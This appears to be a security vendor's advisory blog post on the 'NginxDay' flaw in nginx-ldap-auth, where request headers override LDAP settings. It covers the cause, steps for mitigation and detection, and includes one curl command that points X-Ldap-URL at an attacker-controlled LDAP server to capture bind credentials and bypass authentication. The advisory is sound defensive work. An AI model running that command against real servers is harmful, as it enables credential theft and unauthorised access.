“NginxDay”: NGINX LDAP Reference Implementation Zero Day Vulnerability

A recent zero-day vulnerability has been publicly shared revealing a critical issue with the nginx-ldap-auth software package allowing attackers to potentially bypass authentication and disclose key information on vulnerable servers. Note this vulnerability is still being actively investigated and this blog post may be updated as further information becomes available. Update: NGINX have now published a blog post responding to this vulnerability: https://www.nginx.com/blog/addressing-security-weaknesses-nginx-ldap-reference-implementation/

Information about this vulnerability first appeared publicly on Twitter this weekend, since then a GitHub repo has been created to collate the information: https://github.com/AgainstTheWest/NginxDay/blob/main/README.md

 

The AppCheck R&D team investigated this issue starting from the publicly available information, identified the cause of the vulnerability and have formulated a work around. Affected users are urged to implement the work around as soon as possible and update any affected servers as patches and security updates become available.

 

The nginx-ldap-auth software is a reference implementation of a method for authenticating users who request protected resources from servers proxied by NGINX Plus. It includes a daemon (ldap-auth) that communicates with an authentication server, and a sample daemon that stands in for an actual back-end server during testing, by generating an authentication cookie based on the user’s credentials. The daemons are written in Python for use with a Lightweight Directory Access Protocol (LDAP) authentication server (OpenLDAP or Microsoft Windows Active Directory 2003 and 2012). [https://github.com/nginxinc/nginx-ldap-auth#readme]

 

The nginx-ldap-auth daemon allows a number of configuration settings (such as the URL of the LDAP server, LDAP Base DN, LDAP bind DN, and LDAP Filter) to be configured via command line parameters when the daemon is started .However when handling an authentication request these settings can be overridden by the HTTP request headers (https://github.com/nginxinc/nginx-ldap-auth/blob/ef8d313042085c80b21b107ae65682f256a3b68e/nginx-ldap-auth-daemon.py#L158):

  • X-Ldap-Realm
  • X-Ldap-URL
  • X-Ldap-Starttls
  • X-Ldap-DisableReferrals
  • X-Ldap-BaseDN
  • X-Ldap-Template
  • X-Ldap-BindDN
  • X-Ldap-BindPass
  • X-CookieName

 

These headers are set in the example configuration file using `proxy_set_header` with comments indicating which are required and which are optional https://github.com/nginxinc/nginx-ldap-auth/blob/ef8d313042085c80b21b107ae65682f256a3b68e/nginx-ldap-auth.conf#L57. However any header that is not explicitly set in the nginx configuration is under the control of the attacker.

 

If an administrator relies on the configuration passed to the nginx-ldap-auth daemon in command line parameters rather than using `proxy_set_header` in the nginx configuration, then the system is vulnerable.

An attacker can send a HTTP request with these HTTP Headers configured, which will then be passed to the nginx-ldap-auth daemon, which will use them with the LDAP protocol to determine if the provided credentials are valid or not.

The first attack (authenticated bypass and information disclosure) involved specifying the X-Ldap-URL header with the value of a malicious LDAP server. For servers exposed publicly to the Internet this attack can be carried out from an unauthenticated perspective. This will cause the vulnerable system to proxy the request to the nginx-ldap-auth daemon to connect with an attacker-controlled LDAP server. Assuming the attacker’s malicious LDAP server responds successfully to every request, the attack can log the credentials the administrator configured for the legitimate LDAP server along with other information such as the Base DN. This can lead to a critical authentication bypass for any user’s authenticating against on the nginx-ldap-auth software. Depending on the target server and circumstances, this issue could result in an account takeover, leading to the disclosure of personal information and further exploitation within the context of an authenticated user.

 

A potential attack could be a trivial as issuing the following request using a tool such as curl:

-“curl -u foo:bar -H ‘X-Ldap-URL: ldap://malicious.appcheck-ng.com’ https://vulnerable.example.org”. 


This will cause vulnerable systems to:
1. Proxy the request with the malicious header to the nginx-ldap-auth daemon.
2. The nginx-ldap-auth daemon will connect to the malicious LDAP server,
3. bind with the credentials the administrator configured
4. perform an LDAP search for the username in the request using the query template configured by the administrator in order to obtain the distinguished name (DN) of the user
5. provided the object for the DN was found, bind to the ldap server using the user’s DN and the password from the request
6. return a 200 response.
7. The NGINX server will receive the 200 response from the nginx-ldap-auth daemon and permit the attacker to access the protected resource.

 

Note if nginx-ldap-auth fails to connect to, bind with the administrators configured credentials, query, or bind with the users credentials, then authentication fails and nginx denies access to the protected resource.

 

The next attack (still under research) would be to specify the X-Ldap-Template header (without the X-Ldap-URL header) in order to modify the LDAP query that will be executed on the legitimate LDAP server. This may require a valid account to successfully bind after the query and therefore have a response difference (authentication failed/successful) which can be used to exploit this issue as a Boolean LDAP Injection vulnerability, however the credentials obtained from the information disclosure in the first attack may be valid for this purpose.
Update: the NGINX blog post indicates that “an attacker can use a specially crafted request header to bypass the group membership (`memberOf`) check and so force LDAP authentication to succeed even if the user being authenticated does not belong to the required groups.”

 

 

Mitigation

 

NGINX have stated that the LDAP reference implementation they published describes the mechanics of how the integration works and all of the components required to verify the integration, and that it is not a production-grade LDAP solution as stated in their security notices.
Therefore any implementation directly using the reference implementation should be closely reviewed and hardened to remove vulnerabilities and increase security, for example encryption should be used, and user input filtering should be implemented.

 

To prevent an attacker from overriding the command line parameters, the `proxy_set_header` directives should be used in the nginx configuration set to an empty string when using the command -line configuration, this includes any optional parameters. e.g.:

 

location = /auth-proxy {
    ...
    proxy_set_header X-Ldap-URL      ""; # Empty value when using command-line config
    proxy_set_header X-Ldap-BaseDN   ""; # Empty value when using command-line config
    proxy_set_header X-Ldap-BindDN   ""; # Empty value when using command-line config
    proxy_set_header X-Ldap-BindPass ""; # Empty value when using command-line config

    proxy_set_header X-Ldap-Template ""; # Optional, but do not comment (use empty value)
    proxy_set_header X-CookieName    ""; # Optional, but do not comment (use empty value)
    proxy_set_header X-Ldap-Realm    ""; # Optional, but do not comment (use empty value)
    proxy_set_header X-Ldap-Starttls ""; # "True" or empty (do not comment)
    ...
}

You may also wish to consider blocking any requests which contain the X-Ldap-* request headers (regardless of case or leading whitespace) which originate from outside your environment.

Note this should be thoroughly tested in your environment before deploying to production instances.

 

 

Detection

 

AppCheck is deploying a new plugin to identify this issue using “out of band” detection techniques, it will be enabled by default in all new scans. Additionally, a scan profile will be created to aid detection across your estate.

This issue can be detected manually by administrators by issuing an authentication request with the HTTP request header “X-Ldap-URL: ldap://127.0.0.1:1234” and a unique username, and checking the logs of the legitimate LDAP server to confirm that the authentication request for the unique username did not reach the legitimate server.

 

 

Get started with Appcheck

No software to download or install.
Contact us or call us 0113 887 8380

Start your free trial